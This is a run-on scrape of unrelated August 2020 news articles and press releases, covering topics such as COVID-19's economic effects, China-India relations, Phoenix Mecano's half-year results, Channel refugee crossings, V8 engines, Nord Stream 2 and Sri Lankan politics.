arrested a parolee for a string of burglaries in the homes around Exit 8 of the Northway. Authorities said some of those break-in happened while the residents were sleeping. Deputies said Tyler E. Lester would slip in through open garage doors or cut open screens to enter a dozen homes to steal wallets and purses. In May, Lester was sentenced to 15 years in prison. In the spring of 2019, there was a spate of burglaries in the same neighborhood near Moe, Crescent and Grooms roads that were not connected. It is unclear if anyone was arrested and charged in those incidents. Source: Xinhua| 2020-08-11 20:25:11|Editor: huaxia Video Player Close JERUSALEM, Aug. 11 (Xinhua) -- New coronavirus restrictions and a full nationwide lockdown will pose a substantive risk to Israel's financial system, according to a report issued by the state's central bank on Tuesday. Due to the current second wave of high morbidity in Israel, the cabinet is expected to consider next week the reimposition of significant restrictions, including full lockdowns. According to the bank's financial stability report for the first half of 2020, such a scenario would include impairment of borrowers' repayment ability, especially loans with deferred repayments. In addition, another wave of governmental incentives will be needed in such case, leading to a worsening of the fiscal picture and a further increase in economic uncertainty. The bank noted that the current intensity of the risk to financial stability in the half-year examined was assessed as medium-high. The report states that the system continues to function despite the pandemic due to the good condition of the economy at the beginning of the crisis. "However, the current employment insecurity, high unemployment rates and labor market uncertainty are expected to reduce demands in the Israeli economy", the report said. Enditem HONG KONG (Reuters) - Macau's government on Monday announced that tourist visas, through which the majority of gamblers visit casinos in the Chinese territory, will be reinstated for the neighbouring city of Zhuhai, paving the way for a revival of visitors. Macau's Secretary for Social Affairs and Culture Ao Ieong U announced that the highly anticipated individual visit scheme (IVS) would resume from Aug. 12. Casinos in the world's biggest gambling hub have experienced heavy losses since February when travel dried up due to the coronavirus. Greater China accounts for more than 90% of Macau's tourists. Executives have said that without a resumption of the IVS scheme there will not be much hope for casino operators. The announcement comes nearly a month after China loosened coronavirus-related border restrictions between Macau and the neighbouring coastal province of Guangdong. The direct impact on gaming revenue from the Zhuhai IVS restart is likely to be limited, said Vitaly Umansky, an analyst at Sanford C. Bernstein in Hong Kong. "However, the restart of IVS and group visa issuance (which has been suspended since late January) is another baby step in the right direction as China and Macau slowly loosen travel between the two jurisdictions." (Reporting by Farah Master; Editing by Kevin Liffey) LONDON, ON, Aug. 11, 2020 /PRNewswire/ - iTelemed a London, Ontario based provider of Virtual Healthcare solutions is proud to announce its partnership with AMD Global Telemedicine, a Chelmsford, Massachusetts based provider of Digital and telehealth technology solutions worldwide. This partnership arrives at a time when Canada is most in need of support for its marginalized populations within Congregate living facilities during the Covid19 pandemic. This partnership is being backed by the creation of a full training program and accreditation support through Fanshawe College Corporate Training Solutions (CTS) which will bring the needed infrastructure support to Canada's evolving Digital Health Ecosystem. AMD Global Telemedicine brings world class support and business experience to this relationship and is committed to supporting and developing growth and solutions with Canadian-based innovation and Canadian-based economic development within the Ecosystem being supported by this deal. ITelemed has been innovating within the public-funded Healthcare space and believes virtual healthcare should be accessible to all Canadians, most importantly to medically fragile and marginalized individuals. AMD Global Telemedicine is a strong partner with robust infrastructure supports and has a similar passion and proven record for reaching marginalized and remote populations. AMD's proven solutions with software platform "AGNES", integration with peripherals and interoperability within EHRs will provide incredible telemedicine technology support to Canada's newly developing Digital Health Ecosystem. ITelemed in partnership with Fanshawe CTS will bring robust training and support required for the iTelemed Mobile Virtual Medical Kits that will be accredited and quickly replicated across Canada to support the fight on Covid19. We are excited to announce this partnership for two reasons: 1. Covid19 has been particularly hard upon individuals within congregate living facilities and the iTelemed MVM kits are an immediate solution to bring virtual "care in place" to these settings. This solution is now being backed by AMD Global Telemedicine resource supports and ability to scale across Canada for the fight on Covid19. 2. This partnership brings together Canadian iTelemed Innovation, Canadian based Fanshawe College training and development supported by US based AMD Global Telemedicine technology and infrastructure support. This partnership is not just a win-win for the partners involved, but a win-win for Canada in growing local and national economies around Digital Healthcare provision of service, infrastructure support and job metrics, research and training for new models of healthcare, innovation and technologic design between Canada and international corporations such as AMD. ABOUT iTelemed: ITelemed/ CTG is a full solution Software, Hardware, Tech Support and training providers, connecting Patients with Physicians, Care givers & Providers remotely. We fully enable Doctors to remotely care for patients, whether from our physical locations or home offices. CTG is OTN registered provider of Telemedicine services in Ontario. Our Corporate vision: -Patient Centered Healthcare -Innovative Healthcare Accessibility -Providers efficiency and Experience About AMD Global Telemedicine: AMD Global Telemedicine has been a pioneer of Telemedicine and an industry leader in telehealth solutions for the last 30 years. As AMD's mission has grown over the years to positively impact healthcare delivery using the latest advancements in digital technology, their range of products and solutions have evolved. AMD's telehealth solutions include software platforms, integrated medical devices, and telemedicine bundled kits that empower healthcare providers to deliver the highest possible level of care to any patient, anywhere, regardless of the circumstances. About Fanshawe CTS Fanshawe CTS provides training and business solutions across a wide variety of industries including Business, Transportation, Healthcare, and Trades and Technology. Workshops and course are available online, in class, or in a blended format and are customized to meet your specific needs and goals. Servicing London and Southwestern Ontario visit FanshaweC.ca/CTS to learn more. SOURCE Itelemed Related Links https://itelemed.ca/ It took six months for the world to reach 10 million confirmed cases of the coronavirus. It took just over six weeks for that number to double. The worldwide count of known COVID-19 infections climbed past 20 million on Monday, with more than half of them from just three countries: the U.S., India and Brazil, according to the tally kept by Johns Hopkins University. The average number of new cases per day in the U.S. has declined in recent weeks but is still running high at over 54,000, versus almost 59,000 in India and nearly 44,000 in Brazil. In other developments Tuesday: Russia became the first country to approve a vaccine against the virus. While a proven coronavirus vaccine would be an epic medical breakthrough, the move raised alarms among scientists because the shots have not been subjected to large-scale testing in humans. They have only been studied in dozens of people, not the thousands typically involved. The Big Ten and Pac-12 announced they wont play football this fall because of the virus, taking two of college sports five powerhouse conferences out of the season. The Big Ten includes Ohio State, Michigan, Nebraska and Penn State, while the Pac-12 includes Arizona, Arizona State, UCLA, the University of Southern California, Oregon, Utah and Washington. College footballs lack of centralized leadership leaves every conference to decide for itself. The severe and sustained crisis in the U.S. over 5 million cases and 163,000 deaths, easily the highest totals of any country has dismayed and surprised many around the world, given the nations vaunted scientific ingenuity and the head start it had over Europe and Asia to prepare. South Africa, Colombia, Mexico, Peru, Argentina, Russia and the Philippines round out the list of the top 10 countries contributing the most new cases to the global tally since July 22, according to an Associated Press analysis of Johns Hopkins data through Monday. The real number of people infected by the virus around the world is believed to be much higher perhaps 10 times higher in the U.S., according to the Centers for Disease Control and Prevention given testing limitations and the many mild cases that have gone unreported or unrecognized. Some of the worst-hit nations have been those whose leaders have downplayed the severity of COVID-19, undercut the advice of health experts and pushed unproven remedies. President Donald Trump, Brazils President Jair Bolsonaro and Mexican President Andres Manuel Lopez Obrador, for example, all rarely wear masks and have resisted calls for strict lockdowns. Trump and Bolsonaro have promoted the anti-malaria drug hydroxychloroquine, even though studies have shown it to be useless against the virus, with potentially deadly side effects. In the U.S., Mexico and Brazil, testing has been criticized as inadequate. While the U.S. has ramped up testing in recent months, Americans have faced discouragingly long lines and delays in getting the results. In Mexico, 47% of tests are coming back positive, suggesting that only seriously ill people are getting screened. Contact tracing, which has helped authorities in other countries get a handle on the spread, has also been criticized as insufficient in all three countries. The U.S., with about 4% of the worlds population, accounts for about 25% of the known coronavirus infections and 22% of the deaths. Mexico has reported nearly 500,000 cases and more than 50,300 deaths, but the presidents point man on the epidemic, Assistant Health Secretary Hugo Lopez-Gatell, said a full lockdown would prove too costly for people with little savings and tenuous daily incomes. We do not want a solution that would, in social terms, be more costly than the disease itself, he said. Cases have begun to rise significantly in Caracas, Venezuela, perhaps one of the worlds least-prepared cities to face the pandemic. The country has been under a lockdown since March, but limited testing, open defiance of quarantine measures and the return of tens of thousands of Venezuelan migrants from countries with higher caseloads have resulted in a steady expansion that is starting to overwhelm hospitals with scarce supplies. What has been successful in other countries is massive testing and isolating the population that is sick, said Domingo Subero, 66, an engineer worried about the situation in Caracas. Here, neither of those two things is happening. Elsewhere around the world, New Zealand, which has been praised for quickly getting the virus under control, reported the first cases of local transmission in the country in 102 days. Prime Minister Jacinda Ardern said four cases were discovered in a single Auckland household. ___ Associated Press journalists from around the world contributed to this report. Maintaining peace along the disputed boundary and deepening strategic trust with India is one of Chinas diplomatic priorities, the Chinese foreign ministry has said, adding that Beijing will try to expand shared interests with neighbours in the future. Responding to a query about Chinas diplomatic priorities as the Covid-19 pandemic impacts the world and international diplomacy, foreign ministry spokesperson Zhao Lijian briefly outlined Beijings plans for way ahead in bilateral ties with the US, Russia, EU, Japan, and India. Also Read: Partners, rather than rivals: Chinese ambassador to India For the China-India relationship, the two sides should jointly safeguard peace and security in the border areas and maintain a steady and sound development of bilateral ties, Zhao said. We will continue to deepen strategic mutual trust and expand shared interests with our neighbours and other developing countries, he said in a statement published on the Chinese foreign ministrys website on Monday night. Zhao was responding to a question from the official Xinhua news agency on Chinas current diplomatic work and its diplomatic priorities looking ahead. Also Read: Do not let differences overshadow relations: Chinas India envoy on ties The Chinese official did not make any reference to the ongoing tension between India and China along the line of actual control (LAC) in eastern Ladakh. The two countries have held several rounds of diplomatic and military talks to de-escalate, but the process is yet to be completed. A new statement from the Chinese foreign ministry to the Hindustan Times issued Monday indicated that the process of disengagement was not complete; the statement, however, did not share details of the situation on the ground. The Chinese foreign ministry said the the frontline forces of China and India have been in close communication on controlling the situation. Also Read: Clear who safeguards peace and who destabilises region: China slams Australian HCs remarks on South China Sea At present, the two sides have disengaged in most of the border areas and will continue to coordinate and consult through military and diplomatic channels to further ease the tension and maintain peace and tranquility in the border areas, the statement in Mandarin said. On July 30, India had rejected Chinas contention that disengagement has been completed at most locations along their disputed border, and called on Beijing to work sincerely for complete de-escalation and full restoration of peace along the LAC. External affairs ministry spokesperson Anurag Srivastava had acknowledged there has been some progress towards disengagement and de-escalation along the LAC though the process is far from complete. There has been some progress made towards this objective, but the disengagement process has as yet not been completed, Srivastava said during the weekly virtual media briefing. Srivastava was reacting to Chinas position, which had said earlier that frontline troops had completed disengagement in most locations and the situation on the ground is easing. Also Read: On Chinas outburst over Confucius centres review, India pulls out 2009 rulebook HT had reported from New Delhi on July 30, quoting people familiar with developments at the border, that a sizable Chinese troop presence at friction points, particularly Pangong Lake and Depsang, remains a concern. INTERNATIONAL DIPLOMACY On the overall international situation in diplomacy, Zhao said: Covid-19 has engulfed and impacted the whole world since its outbreak early this year. We have actively planned and developed our relations with other major countries, responded rationally to the unreasonable pressure the US has piled on China, made new progress in advancing China-Russia relations under the strategic guidance of the two heads of state, and sustained cooperation as the main tone of China-EU relations, he said. We will continue to improve relations with neighboring countries, strengthen solidarity and cooperation with other developing countries, advocate the building of a community of common health for mankind, firmly uphold Chinas sovereignty and security interests, and endeavor to fulfill the purpose of diplomacy for the people, Zhao said. Media release Phoenix Mecano in H1 2020: Sales and incoming orders hit by COVID-19 - Earnings still in the black - Solid balance sheet and high book-to-bill ratio Kloten/Stein am Rhein, 11 August 2020. The Phoenix Mecano Group's half-year results reveal the significant impact of the COVID-19 pandemic. As a precautionary measure to protect employees, the company temporarily closed some production facilities. All plants are now operating again, although some are working at reduced capacity or with major fluctuations in capacity utilisation. As a result of the global economic downturn, propensity to invest declined in the Group's end markets in the second quarter. Despite these difficult conditions, Phoenix Mecano pushed ahead resolutely with its strategic projects. The Group completed the acquisition and integration of MyHome and made initial investments in the industrial complex of DewertOkin Technology Group Co. in Jiaxing, south-west of Shanghai. In a global market environment hit hard by the COVID-19 pandemic, the Phoenix Mecano Group's sales and incoming orders declined in the first half of 2020, and the operating result fell disproportionately. In response to the pandemic, Phoenix Mecano immediately expanded and stepped up the performance enhancement programme under way since 2019. In addition, short-time working was introduced in many places and non-operating expenses were reduced. Consolidated gross sales fell by 7.6% in the first half of 2020, from EUR 326.8 million to EUR 302.1 million. In organic, local-currency terms, the decline was 10.7%. Net sales totalled EUR 299.5 million (previous year EUR 323.9 million). Incoming orders decreased by 1.9% from EUR 326.3 million to EUR 320.1 million. The book-to-bill ratio was 106.0% (previous year 99.9%). The operating result was down by 61.5% from EUR 16.6 million to EUR 6.4 million, while the operating cash flow fell by 32.7% from EUR 27.5 million to EUR 18.5 million. The operating result includes subsequent one-off expenses of EUR 2.1 million from the performance enhancement programme launched in 2019, a number of whose measures have been stepped up. One-off expenses of EUR 1.4 million from the performance enhancement programme were included in the previous year's operating result. The result of the period after taxes was EUR 1.2 million, down 89.5% on the previous year (EUR 11.6 million). The financial result fell by EUR 2.2 million year-on-year, mainly due to exchange-rate changes and currency hedging costs. At EUR 102.6 million, net indebtedness remained at a similar level to 30 June 2019 (EUR 103.2 million). The equity ratio was 43.3%, with the balance sheet free of goodwill. Development of the Group's divisions The Enclosures division was able to hold its own in a challenging market environment. Sales fell by 5.8% to EUR 89.9 million. Organic, local-currency sales were down by 8.5%. In its most important market, Germany, sales remained stable due to acquisition activity. The UK and Italy, both heavily impacted by the COVID-19 crisis, saw a double-digit percentage drop in sales. Sales were also down in other European markets, as well as in the Middle and Far East (-18.6%) and North and South America (-7.7%). Demand for industrial enclosures declined in the traffic engineering, measurement and control technology, and mechanical and plant engineering sectors. In Asia, a drop in investment confidence in the oil and gas business was reflected in sales figures. By contrast, sales of operating units and electronic enclosures with state-of-the-art input systems remained almost unchanged. The operating result fell by 20.7% to EUR 8.7 million, with a corresponding reduction in operating margin from 11.5% to 9.7%. In China, the enclosures business was concentrated at a single site in Shanghai. The Mechanical Components division saw gross sales decline by 5.2% to EUR 158.4 million. In organic, local-currency terms, they were down by 9.7%. Both the industrial segment and the furniture and healthcare market recorded lower sales. Growth in the Americas and Asia slowed abruptly in the second quarter as customers in the furniture business had to close their factories for several weeks due to the pandemic. This decline was only partially offset by rising demand in the medical applications segment (Dewert) and in logistics for online business (Rose&Krieger). The operating result decreased by 50.6% to EUR 4.5 million, while the operating margin shrank from 5.5% to 2.9%. As part of the package of measures to adjust capacity and streamline the product portfolio, further personnel adjustments were implemented. The associated one-off expenses impacted the division's H1 result by a total of approximately EUR 1 million. Phoenix Mecano acquired the remaining shares in China-based Haining MyHome Mechanism Co., Ltd. ahead of schedule and successfully completed integration into the division. This acquisition means that customers can now purchase functional fittings and drive systems for adjustable armchairs from a single source. In a bid to concentrate its strategic and technological expertise, the Group pushed ahead with its investment in the DewertOkin Technology Group industrial complex in China. In the ELCOM/EMS division, gross sales in the first half of 2020 fell by 16.5% to EUR 53.8 million. In organic, local-currency terms, they were down by 16.4%. All of the division's business areas recorded double-digit sales declines owing to the slump in demand in their industrial end markets, including the automotive and mechanical engineering sectors. The operating loss was EUR 5.8 million, following an operating loss of EUR 1.6 million the previous year. The marked decline in sales combined with exceptional expenses for staff reductions and value adjustments on non-current and current assets resulted in losses in all three of the division's business areas. Phoenix Mecano successfully merged its production facilities in southern China at a new plant in Lechang, thereby eliminating duplications. Outlook The COVID-19 pandemic significantly dampened global capital goods activity in the second quarter. Phoenix Mecano's management reacted to the changed circumstances with immediate measures and additional structural adjustments, in order to cushion the negative impact on the business. In the meantime, the industrial purchasing managers' indices have recovered somewhat in almost all countries, suggesting an improvement in the situation in H2. However, business development will depend to a large extent on how the pandemic evolves. The management continues to focus on liquidity and costs, but is also well prepared for a rapid economic recovery. Phoenix Mecano expects the economic situation to remain challenging in the second half of the year. However, the Group is underpinned by a solid balance sheet structure and the modest decline in incoming orders and high book-to-bill ratio bode well. Barring any widespread second wave of contagion, the pandemic is likely to have less of an impact on the operating result in H2 than in H1, compared to the previous year. Despite the challenging circumstances, Phoenix Mecano remains committed to pursuing forward-looking growth initiatives. For example, the Group is investing in strategic projects in the 'smart home' growth market and is further consolidating its market-leading position in system solutions and components for electrically adjustable upholstered furniture. A detailed semi-annual report will be available for downloading as a PDF file from our website http://www.phoenix-mecano.com/en/investor-relations/annual-reports/semi-annual-reports from 11 August 2020. For more information, please contact: Phoenix Mecano Management AG Dr Rochus Kobler, CEO Lindenstrasse 23, CH-8302 Kloten Tel.: +41 (0)43 255 4 255 info@phoenix-mecano.com http://www.phoenix-mecano.com Phoenix Mecano is a leading technology company active in the production of enclosures and industrial components. The Chinese government's efforts to tamp down speculation in property markets will mean that funds will flow to equities instead, allowing for more upside in onshore equities, an economist said on Tuesday. "We think the liquidity will likely go to the equity market," said Zhiwei Zhang, president and chief economist at Pinpoint Asset Management. Although real estate has been the favored investment choice of the general public, the Chinese government is now cracking down on market exuberance to prevent a bubble, Zhang told CNBC's "Street Signs Asia." In July, the city of Shenzhen announced fresh restrictions on home purchases to curb sharply rising prices and stamp out speculation. "That sent a very strong signal to investors (to) don't speculate in the property market, then equity became the only option available for the general public," said Zhang. Zhang said the Chinese government is trying to manage reforms for the equity markets and welcome a slow growth market. They don't want "to allow leverage to build up too much and they hope this kind of rally can go on for more than a year or even longer," said Zhang. More child refugees may attempt to cross the English Channel to join loved ones in the UK because of government plans to ditch the legal routes enabling asylum-seeking minors to join their relatives, a charity has warned. Amid a sharp rise in asylum seekers crossing from France in small boats, Safe Passage International said more children would fall into the hands of smuggling gangs and risk their lives in dinghies after the Brexit transition period, when ministers are set to end family reunions currently allowed under the EUs Dublin Regulation. With less than five months left under current rules, the charity which helps unaccompanied minors transfer legally from Europe to the UK is concerned that many people will run out of time or lose faith in the system and try to cross the busy stretch of water themselves. It said it had received a surge in enquiries in recent months from unaccompanied children and their families trying to access the legal route before the transition period ends, with the figure doubling from an average of 15 a month up to March, to 30 a month between April and July. Jennine Walker, head of UK legal at Safe Passage International, said: The government says it wants to reduce the numbers of people crossing the Channel, but if children and separated families cannot access family reunion, they are going to have no choice but risk their lives. Unless the government agrees a family reunion replacement that is at least as good as Dublin, smugglers and trafficking gangs will have a field day when the transition period ends. Ms Walker said the charity already struggled to convince some children to wait in France because smugglers promise a Channel crossing that takes a matter of hours. She added: It is dangerous and illogical to expect a child to sleep rough in Calais when they have a parent, sibling, aunt or uncle here in the UK. We know of several children who have died attempting to reach their families here in recent years. In May, the government published a draft Brexit proposal to replace family reunion but lawyers described it as a blank cheque to people-smugglers that strips people of their rights and makes the system discretionary. A cross-party group of MPs tried to table an amendment to protect current family reunion rules in the Immigration Bill, but they were voted down by the government. Lord Alf Dubs, who was a child refugee himself and has tabled an amendment to protect family reunion in UK legislation, criticised the governments draft Brexit text as completely inadequate and said there were no guarantees the EU would agree a family reunion deal. The government expects us to congratulate it on the numbers of lone child refugees it has welcomed, when the reality is most of these have arrived in the back of lorries and are now increasingly resorting to dinghies. If we want to stop this happening, we need to give more children safe and legal routes, he added. It comes after home secretary Priti Patel condemned a rise in Channel crossings at least 597 arrived between Thursday and Sunday alone as appalling and unacceptably high, and committed to making the route unviable. Home office minister Chris Philp said on Tuesday that he would not comment on details of the plan to halt Channel migrants but claimed there were a number of measures, some of them new, which are under discussion. The Independent revealed on Tuesday that the government was warned nine months ago that its own policies were pushing migrants to take more dangerous routes across the English Channel in an official report by a committee of MPs, among them Ms Patel. Meanwhile, a group of 25 Conservative claimed in a letter to the home secretary that migrants crossing the Channel were invading Britain, with one complaining that asylum-seekers could simply paddle in. A Home Office spokesperson said: We have made a generous offer to the EU on a future reciprocal arrangement for the family reunion of unaccompanied children seeking asylum (UASC) where it is in the childs best interests. No one should risk their lives by making these dangerous crossings. The UK does more to support unaccompanied children than any EU member state and last year, our asylum applications from unaccompanied children accounted for approximately 20 per cent of all UASC claims made in the EU. Car fans can be narrow-minded about engines. Toyota and BMW aficionados swear by their straight-sixes. Volvo, Saab and Audi nuts are partial to oddball five-cylinders. Porsche and Subaru drivers love their boxer engines. Or ask any Mazda fanboy about rotary engines and youre sure to get your ear chewed off for hours. But the engine configuration that demands the most passionate adoration, particularly from Aussies, is the classic V8. Those two alphanumerics carry with them enormous cache in the Australian psyche: Supercars darting down Conrod Straight on Mount Panorama; the family station wagon piled high with groceries and kids; Max Maxs Interceptor and Pursuit Special; the trustworthy ute on the way to worksite; hooning in your Commo Yes, the humble V8 is many things to many people. Any car that had a V8 option would sell like hotcakes in this country. Above all, its a badge of excellence a point of pride to have that little V8 badge on your car. But had is the key term. V8s are a dying breed now in Australia with the Ford Mustang the only real accessible option for someone looking to get a bit of eight-cylinder action for less than $80,000. And now, yet another brand has announced that theyre saying au revoir to the V8 a rather unexpected one, too. The brand in question? Jeep. Jeep global boss Christian Meunier has explained that while in the medium term theyll continue to protect the big V8 for performance applications and in some markets, their plan is to move towards smaller engines and electrified drivetrains, Carsales reports. This comes off the back of last years news that Toyota, the worlds biggest car manufacturer, is abandoning future V8 engine development, as this CarBuzz article relates. Notably, the new LC300 Land Cruiser isnt being offered with a V8 option instead, customers will have the choice of two twin-turbo V6 options, a petrol and a diesel, CarAdvice shares. RELATED: Australians Swapping Campervans For This Indestructible SUV In 2021 Nissan is still flying the V8 flag with the Patrol, as is Mercedes-Benz with the G-Class. But with both those vehicles looking very long in the tooth (especially the G-Class), it might not be long until the V8 44 and V8s more generally will be completely absent from Australian car dealerships. The reality is that modern engines are so efficient that the power that you used to only get out of a V8 can now be eked out of a V6 or even smaller engines. Case in point: the famous first-gen Shelby GT350 Cobra made only 228kW from its high-performance 4.7 L Windsor V8. Compare that to the 261kW the third-gen Ford Focus RS made from its 2.3L EcoBoost turbocharged inline-four an engine less than half the size of the venerable Windsor. Even performance marques seem to be abandoning the V8 and other engine configurations for smaller, turbocharged engines. New developments in hybrid and electric drivelines have also had an impact, consigning the no replacement for displacement V8 to the dustbin of history. RELATED: I Drove Porsches Insane New Electric Car. It Blew My Mind The new Ford GT shocked Blue Oval fans when it debuted with a twin-turbo V6 instead of a V8. Nissans Nurburgring-munching R35 GT-R also makes do with a twin-turbo V6, as does the second-generation Honda NSX. The fastest car in the world is technically a V8 the Porsche 918 Spyder but it benefits from a hybrid driveline. Well, it used to be the fastest. It was recently beaten by the all-electric Tesla Model S Plaid. Watch The Tesla Model S Plaid Launch From 0-60mph In 1.98sec While there are still some brands keeping the V8 flame alive the new Ferrari Roma and the insane Dodge Challenger SRT Demon come to mind forced induction and electrification are clearly the way forward. RELATED: Worlds Oldest Ferrari Barn Find Uncovered In Australia & Its Bloody Beautiful The worlds oil will run out eventually, and therefore the V8s days (hell, the internal combustion engines) days are numbered. But thats not necessarily a bad thing. Well always have a soft spot for the engines, but do you know whats cooler than rose-tinted glasses? Chopping your dads old V8 Valiant in your I6 Supra Or your mums Model 3. Just saying. Read Next German utility Uniper one of five Western European companies partially funding the Russia-led Nord Stream 2 gas pipeline project warned on Tuesday that it might have to write down the value of a loan to the project if U.S. sanctions succeed in stifling it. During a call with analysts to discuss Unipers first-half performance, the companys chief executive Andreas Schierenbeck said that sanctions pressure on the pipeline project designed to carry Russian gas to Germany had intensified. The worst case would be, of course, if (Nord Stream 2) would never be finished and then, of course, the question is can we get our money back or not, Schierenbeck said on the call, as carried by Reuters. Still, Unipers top executive expects the controversial gas pipeline project to go ahead as planned. Uniper, together with Shell, ENGIE, OMV, and Wintershall DEA, is partially financing the project. Each of the five companies has committed funding of up to US$1.12 billion (950 million euro) to the project, equal to 50 percent of its total cost of US$11.2 billion (9.5 billion euro). Unipers Schierenbeck said today that the companys investment in Nord Stream 2 so far is not subject to the current U.S. sanctions. The U.S., however, is ready to increase the sanctions pressure and warned last month companies helping Russia to complete Nord Stream 2 and TurkStream 2 that they should get out now or face consequences. Related: Equinor Shakeup Hastens To Move Away From Oil Its a clear warning to companies aiding and abetting Russias malign influence projects will not be tolerated. Get out now, or risk the consequences, U.S. Secretary of State Mike Pompeo said in mid-July. Russia, for its part, continues to say that regardless of the U.S. sanctions, the Nord Stream 2 project would be completed soon. The latest comment came on Tuesday from Russias Foreign Minister Sergey Lavrov at a joint news conference after meeting with German Foreign Minister Heiko Maas. In my understanding, there is reason to believe this will be done in the near future, Lavrov said, as quoted by RT, and added: We clearly see how Washington operates in the international arena, without shying away from any methods, which is proven by the situation around the Nord Stream 2. By Tsvetana Paraskova for Oilprice.com More Top Reads From Oilprice.com: N Sathiya Moorthy For the Rajapaksa brothers, who have won a resounding second electoral win in nine months, their personal politico-administrative behaviour of recent years should hold a mirror to the future. Despite winning the decades-old ethnic war against the Liberation Tigers of Tamil Eelam (LTTE), leading to the latters decimation with it, and voting in incumbent President Mahinda Rajapaksa for a second term in 2010, the Sri Lankan voters had no qualms sending him packing five years hence, when democracy issues returned to the centre table, though not in as big a way as their critics, more outside the country than inside, would have wanted. That should also explain their bouncing back almost effortlessly in last years presidential polls, not that they had experienced any attrition to their 40 percent minimum voter base, comprising mostly Sinhala-Buddhist core elements in the country, in which the community accounts for 75 percent of the population. The Rajapaksas ruling Sri Lanka Podujana Peramuna (SLPP) combine won a total of 151 seats in the 225-seat Parliament, in the August 5 polls, which were postponed twice owing to COVID-19. In between, the nations Supreme Court vetoed their critics demand for reconvening of the previous Parliament, which President Gotabaya Rajapaksa had dissolved on April 2, under a restricted constitutional mandate, put in place by the previous regime. The 1978 Constitution had empowered the President to dissolve Parliament without assigning any reason any time after one year of its existence. The 19th Amendment in 2015 limited the period to (the last) six months of the House, not that it made any sense either. Now, the Rajapaksas want to revise 19-A or the Constitution, wholesale, as both carry inherent infirmities that have impacted on the governments functioning, and also the character of the Sri Lankan State. The nation is sure to take up a serious discourse on that sooner than later, as that is also on the top of the Rajapaksas political agenda and election manifesto, both for the presidential polls of November 2019 and now the parliamentary elections. Given that the top two positions are occupied by biological brothers, who have also displayed a lot of respect for each others strengths, the kind of hiccups that marred the previous regime are not expected now. Yet, in fashioning the constitutional changes, they will also end up making it as personalised as then President JR Jayewardene did when piloting the Second Republican Constitution in 1978. Even 19-A was equally personalised in that it had provisions that checked the powers of the President and Prime Minister against each other. More importantly, it sought to ensure that no Rajapaksa returned to elected power in the twin polls that have just concluded. The combined conduct of President Maithripala Sirisena and Prime Minister Ranil Wickremesinghe in the predecessor cohabitation government, the palpable disunity that they together displayed and the reckless, and their reckless, lacklustre administration ensured that no constitutional hurdles could stop the Rajapaksas from returning to the centre stage, where they anyway were, though without power. In working out the constitutional changes in terms of division of powers between the President and Parliament, represented purportedly by the Prime Minister, the Rajapaksas now will seek to accommodate mutual strengths of the personalities involved rather than the overall health of the democratic process. President Gotabaya Rajapaksa fashions himself as an able administrator, which he is compared to most traditional politicians, both in this government and in the political opposition. Prime Minister Mahinda Rajapaksa is the most popular face in the country, retaining a minimum vote share of 40 percent through difficult years under the previous regime, which sent in Gotabaya and another brother Basil Rajapaksa (the familys poll strategist par excellence) to prison, on charges that were never really produced, leave alone proved, in a court. It is not going to be easy for the Rajapaksa brothers to divide the executive powers, between two strong personalities, particularly when the nation can do with an effective administration and the party needs to continue projecting the popular face of Mahinda Rajapaksa. Crying For Attention In practical terms, the promised constitutional reforms can wait. The failing nations economy cries for immediate attention, which can get distracted if the government puts all its heads into the political aspects. Indications are that Gotabaya Rajapaksa will continue to hold charge of the administration while Mahinda Rajapaksa will continue to address parliamentary issues and political matters, including impending horse trading, constitutional changes and the nine-province council polls, which the previous government kept postponing, fearing sure rout. This would entail the possibility of Gotabaya Rajapaksa inducting more of uniformed men, both in service and veterans, to head government departments and task forces, which will not only take away certain responsibilities of the civilian departments but also possibly some of their inherent powers and responsibilities. The civilian administration is used to the interpolation of outsiders to head their departments, or at least many of them, through the past several decades. Yet, this may be the first time that uniformed men will be heading some of them. While no serious rebellion of any kind is expected in the immediate circumstances, the masses will care the least if the new set-up is able to deliver the goods, as promised and as expected, especially with regard to the nations economy and personal incomes. Despite muted criticism from the civil society, the Presidents handling of COVID-19 pandemic has come in for praise and respect, despite the civil society expressing early reservations about handing it all over to a task force headed by army chief, Lt Gen Shavendra de Silva. The final count just now on the COVID-19 front is 11 deaths and less than 3,000 cases. President Rajapaksa took credit, in a way, when he congratulated the voters for becoming the first South Asian nation to hold nation-wide elections amidst the pandemic. The 71 percent voter turnout fell short of past figures by about five percent, but its better than what could have been otherwise, owing also to the sullen mood of the divided and dis-spirited opposition cadre. Now-Or-Never For Tamils Whenever the Rajapaksas talk about constitutional reforms, they cannot escape the national burden from the long past, in the form of the unresolved ethnic issue. They too won the war but have not been able to find a political solution, through negotiations with the Tamil National Alliance (TNA), which is a poor substitute for the LTTE, which was at the other, uncompromising extreme, hoping that guns would get for them, what talks could not do for the Tamil moderates. Both the LTTE then and the TNA now are unclear and unsure on specifics, with the result, it suits them too to let negotiations fail, leaving the majority Sinhala government of the day to hold the baby, eternally. The TNA won a substantially lower 10 seats, with three Tamil seats going to hardline Tamil nationalist parties, and two, to pro-Rajapaksa parties. R Sampanthan, the ageing TNA leader, the one Tamil leader held in high esteem by the Sinhala polity and the international community, is holding together an alliance which is slowly but surely succumbing to personality clashes, which has always been the hallmark of the self-styled intellectual community of Tamils. The post-war youth are frustrated at lack of jobs and also opportunities to migrate overseas, citing threats from the Sri Lankan State. If truth is acknowledged, it is now-or-never situation for the Tamil community as far as the political solution is concerned, the LTTE having lost out the war, to which they all had attached a lot of unsubstantiated and unsustainable hope. With the political solution, or even without it goes, Sri Lankas linkage to the US-sponsored UNHRC resolution on war crimes probe. Like with the political solution, the West-backed Wickremesinghe did precious little, either to have the armed forces punished or exonerated, or a part of both. He conveniently bought time until March next, when alone the UNHRC would vote, if at all, on substantial aspects of findings, if any, on the progress purported to have been made. The irony is that Wickremesinghes United National Party, the nations grand old party, has been wiped out, and the three-term Prime Minster too could not make it. His place in the opposition sky has been taken by Sajith Premadasa, leader of the breakaway SJB and son of President Ranasinghe Premadasa, slain by the LTTE. Back in power, the Rajapaksas will be watching the Wests reaction on the US-sponsored UNHRC resolution on war crimes probe. Unlike his brother Mahinda Rajapaksa, who was accommodative to multiple ideas and varied circumstances, the shooter-from-the hip President now in Gotabaya Mahinda Rajapaksa, a former army officer, has already indicated readiness to walk out of the UNHRC, if Sri Lanka were pushed to the corner, all over again. This, too, comes up with added responsibility for the Rajapaksa government leadership, as their dependence on China, for the ultimate, unquestioned veto in the UNSC (where Russia, too, is supportive) comes with additional package. In the current mood of India-China standoff, it could mean Beijing divining new ways to use Colombo to harass New Delhi politically, as Nepal and Pakistan have done, viz, border questions, and also let India take the alleged blame for strained bilateral economic ties, translating as support just now. 